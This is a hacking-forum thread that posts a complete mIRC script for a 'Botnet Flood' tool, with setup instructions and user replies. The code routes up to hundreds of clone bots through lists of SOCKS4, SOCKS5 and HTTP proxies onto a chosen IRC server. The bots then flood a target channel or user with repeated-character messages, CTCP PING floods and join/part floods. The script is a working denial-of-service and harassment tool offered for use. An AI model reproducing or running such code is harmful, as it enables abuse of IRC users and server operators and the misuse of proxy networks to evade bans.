Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

mIRC FLOOD SCRIPT

What you need:
4 files
IRCproxys.txt
sock4.txt
sock5.txt
system\files\ident.txt (nick list)

How to load bots?
Press f7 enter server ip (no hostnames) port and ammount of sockets to open

How to flood?
press F8 will flood the active window with @@'s

KILL BOTS?
Shift+ F7

I know its a bit shitty but it works!
--

Code
on *:SOCKOPEN:flooderpxy*:{
  if ($sockerr > 0) { loadflood %fldserver %fldport | return }
  ident.scan $sockname %fldserver %fldport
}
on 1:SOCKOPEN:flooders4*:{
  if ($sockerr > 0) { loadflood %fldserver %fldport | return }
  .bset &bvar4 1 4 1 $gettok($longip(%fldport),3,46) $gettok($longip(%fldport),4,46) $replace(%fldserver,.,$chr(32)) 0
  .sockwrite -n $sockname &bvar4
  .bunset &bvar4  
}
on 1:SOCKOPEN:flooders5*:{
  if ($sockerr > 0) { loadflood %fldserver %fldport | return }
  .bset &bvar5 1 5 1 0
  .sockwrite -n $sockname &bvar5
  .bunset &bvar5  
}
alias ident.scan { sockwrite -n $1 CONNECT $+($iif($2 == $null,$serverip,$2), :,$iif($3 == $null,$port,$3)) HTTP/1. $+ $r(0,1) $crlf | sockwrite -n $1 $crlf | sockwrite -n $1 $crlf }
alias flood {
  if ($2 != $null) { .sockwrite -n fl* join $1 | .sockwrite -n fl* PRivmsg $1 : $+ $2- | /return }
  if ($chr(35) isin $1) {
    .sockwrite -n fl* join $1
    .flood1 $1
  }
}
alias flood1 {
  %site = $read(system\files\s.ax)
  /sockwrite -n fl* privmsg $1 : $+ %site @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
}
alias flood2 {
  /sockwrite -n fl* privmsg $1  : $+ $fld
}
alias jp {
  %site = $read(system\files\s.ax)
  sockwrite -n fl* join $1
  sockwrite -n fl* part $1 : $+ %site
}
alias pingflood {
  sockwrite -n fl* NOTICE $1 : $+ $chr(1) $+ PING @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ $+ $chr(1)
}
alias pingflood2 {
  sockwrite -n fl* PRIVMSG $1 : $+ $chr(1) $+ PING $+ $chr(1)
}
on 1:SOCKCLOSE:fl*:.timer $+ $sockname 1 10 loadflood %fldserver %fldport
on *:SOCKREAD:flooderpxy*:{
  ;if ($sockbr) return
  sockread %flooder
  tokenize 32 %flooder
  if ($gettok(%flooder,1,32) == PING) { sockwrite -n $sockname PONG $remove($gettok(%flooder,2,32),:) }
  if ($gettok(%flooder,2,32) == 200) {
    sockrename $sockname fld $+ $remove($sockname,flooderpxy)
  }
}
on 1:SOCKREAD:flooders4*:{
  ;if ($sockbr) return
  .sockread &bsocks4
  if (PING isin $bvar(&bsocks4,1,$bvar(&bsocks4,0)).text) sockwrite -n $sockname PONG $remove($gettok($bvar(&bsocks4,1,$bvar(&bsocks4,0)).text,$calc($findtok($bvar(,1,$bvar(&bsocks4,0)).text,PING,32)+1),32),:)
  if ($bvar(&bsocks4,2) == 90) {
    sockwrite -n $sockname $crlf
    sockwrite -n $sockname $crlf
    sockrename $sockname fld $+ $remove($sockname,flooders4)
  }
}
on 1:SOCKREAD:flooders5*:{
  ;if ($sockbr) return
  .sockread &bsocks5
  if (PING isin $bvar(&bsocks5,1,$bvar(&bsocks5,0)).text) sockwrite -n $sockname PONG $remove($gettok($bvar(&bsocks5,1,$bvar(&bsocks5,0)).text,$calc($findtok($bvar(&bsocks5,1,$bvar(&bsocks5,0)).text,PING,32)+1),32),:)
  if ($bvar(&bsocks5,1,2) == 5 0) && ($bvar(&bsocks5,3) != 0) {
    .bset &socks5 1 5 1 0 1 $replace(%fldserver,.,$chr(32)) $gettok($longip(%fldport),3,46) $gettok($longip(%fldport),4,46)
    .sockwrite -n $sockname &socks5
    .bunset &socks5
    sockwrite -n $sockname $crlf
    sockwrite -n $sockname $crlf
    sockrename $sockname fld $+ $remove($sockname,flooders5)
  }
}
on 1:SOCKREAD:fld*:{
  sockread %fld
  tokenize 32 %fld
  if ($1 == PING) { sockwrite -n $sockname PONG $remove($2,:) }
  if (*NOTICE AUTH* iswm $1-3) || (451 == $2) || (43* iswm $2) && (!$sock($sockname).mark) {
    sockmark $sockname c
    .timerNICK $+ $sockname 1 1 sockwrite -n $sockname NICK $read(system\files\ident.txt)
    .timerUSR $+ $sockname 1 1 sockwrite -n $sockname USER $read(system\files\ident.txt)  "." "." : $+ $read(system\files\ident.txt)  
    .timerJOIN $+ $sockname 1 2 $iif(%fldchan != $null,sockwrite -n $sockname JOIN %fldchan)
  }
}
alias fldcolor { return [ [ $read(system\files\fldcolor.txt,p) ] ] }
alias fld { return : $+ [ [ $read(system\files\fldcolor.txt,p) ] ] }
alias f7 {
  %fldserver = $$?="IRC Server IP ONLY"
  %fldport = $$?="on Port? (6667)"
  %fldam = $$?="Ammount? (Recommanded: 50 - 200)"
  %fldnick = $me
  %fldtime = 0
  $iif($chr(35) isin $active,%fldchan = $active,unset %fldchan)
  echo -a Loading on %fldserver $+ : $+ %fldport ...Please wait it may take a while.
  .timerLOADCLONES %fldam %fldtime loadflood %fldserver %fldport
}
alias sfld {  
  %fldserver = $1
  %fldport = $2
  if ($3) %fldam = $3
  if (!$3) %fldam = 100
  %fldnick = $nick
  if (. !isin $1) {  .notice $NICK Format: sfld <Server> <Port> [Ammount] | return }
  if ($2 !isnum) {  .notice $nick Format: sfld <Server> <Port> [Ammount] | return }
  if (!$isfile($pxy)) { .notice $nick No such file $pxy . | return }
  .notice $nick Load: $1 $2 Am: %fldam ... Please wait...
  .timerLOADCLONES %fldam 0 loadflood %fldserver %fldport
  return
}
alias SF7 { sockclose fl* }
alias f8 {
  echo -a Flooding $active
  flood $active
}
alias loadflood {
  set %rand $r(0,99)
  set %temp.proxy $proxy
  if (pxy isin %temp.proxy) { sockopen flooderpxy $+ %rand $gettok(%temp.proxy,1-2,32) }
  if (s4 isin %temp.proxy) { sockopen flooders4 $+ %rand  $gettok(%temp.proxy,1-2,32) }
  if (s5 isin %temp.proxy) { sockopen flooders5 $+ %rand  $gettok(%temp.proxy,1-2,32) }
}
menu nicklist,query,chat {
  -
  Botnet Flood
  .LOAD BOTS (F7): f7
  .KILL BOTS (Shift+F7):sockclose flood*
  .-
  .Query Flood $1 (use F8): /flood $1
  .Ping flood $1 : /pingflood $1
  -
}
menu menubar,status {
  -
  Botnet Flood
  .LOAD BOTS (F7): f7
  .KILL BOTS (Shift+F7):sockclose flood*
  .-
  .JOIN BOTS: ss join $?="#Channel"
  .PART BOTS: ss part $?="#Channel"
  .JOIN/PART Flood: jp $?="#Channel"
  .PRIVMSG flood (use F8): /flood $?="Channel/nickname ?" $?="Text (optional)"
  .Ping flood: /pingflood $?="Channel/nickname ?"
  -
}
menu channel {
  -
  Botnet Flood
  .LOAD BOTS (F7): f7
  .KILL BOTS (Shift+F7):sockclose flood*
  .-
  .JOIN BOTS IN # : ss join #
  .PART BOTS: ss part # %site
  .JOIN/PART flood: jp #
  .MSG Flood # (use F8): /flood #
  .Ping flood: /pingflood #
  -
}
alias proxy {
  :R
  set %randomnumber $r(1,3)
  if (%randomnumber = 1) && ($isfile(sock4.txt)) {
    :S4
    inc %p.incs4
    set %p.maxs4 $lines(sock4.txt)
    set %s4 $replace($read(sock4.txt,%p.incs4),:,$chr(32))
    if (%p.incs4 >= %p.maxs4) { unset %p.incs4 | goto s4 }
    return %s4 s4
  }
  if (!isfile(sock4.txt)) && (%randomnumber == 1) goto r
  if (%randomnumber = 2) && ($isfile(sock5.txt))  {
    :S5
    inc %p.incs5
    set %p.maxs5 $lines(sock5.txt)
    set %s5 $replace($read(sock5.txt,%p.incs5),:,$chr(32))
    if (%p.incs5 >= %p.maxs5) { unset %p.incs5 | goto s5 }
    return %s5 s5
  }
  if (!isfile(sock5.txt)) && (%randomnumber == 2) goto r
  if (%randomnumber = 3)  && ($isfile($pxy)) {
    :PROXY
    inc %p.inc
    set %p.max $lines($pxy)
    set %pxy $replace($read($pxy,%p.inc),:,$chr(32))
    if (%p.inc >= %p.max) { unset %p.inc | goto PROXY }
    return %pxy pxy
  }
}
alias pxy return IRCproxys.txt

code updated because missing alias
Thankyou for this. Muchly appreciated! :D
(Nov 14, 2011 06:49 PM)Kaywin Wrote:  This is a really nice crypt m8, holw cow i just did it again"

you need sock4, socks5 and irc proxys and a nick list
in the main mIRC directory: sock4.txt sock5.txt IRCproxys.txt

then create a directory in the main mirc directory called system then in this system directory create a new directory called files then place then nicklist (ident.txt) in there.

put the code in your mIRC remotes (Press ALT +R in mIRC) copy&paste the code from the code box in this thread.

Now that you installed the script correctly, go on a channel and Press F7 to load bots on the ip you specify, bots will join that channel. Press F8 to flood.
And SHIFT+F7 to kill the bots.
Or use this awesome shit:
https://hackforums.net/showthread.php?tid=417161

Stashbox crapped out, if you need another example picture I'll whip one up
thanks for sharing
i hope i will work
Can't get it to work right... Any help please?
What exactly/ on who is this used for? Thanks!


Possibly Related Threads...
Thread / Author Replies Views Last Post
[IRC] by Jason1Jan 28, 2020 09:13 PM 1 149 Jan 28, 2020 09:13 PM
Last Post: Ramb0x
[IRC] by nvm988Mar 31, 2016 03:45 PM 7 406 Mar 31, 2016 03:45 PM
Last Post: Ƀugs Ƀunny
by EgoETEKSep 27, 2015 07:39 PM 0 172 Sep 27, 2015 07:39 PM
Last Post: EgoETEK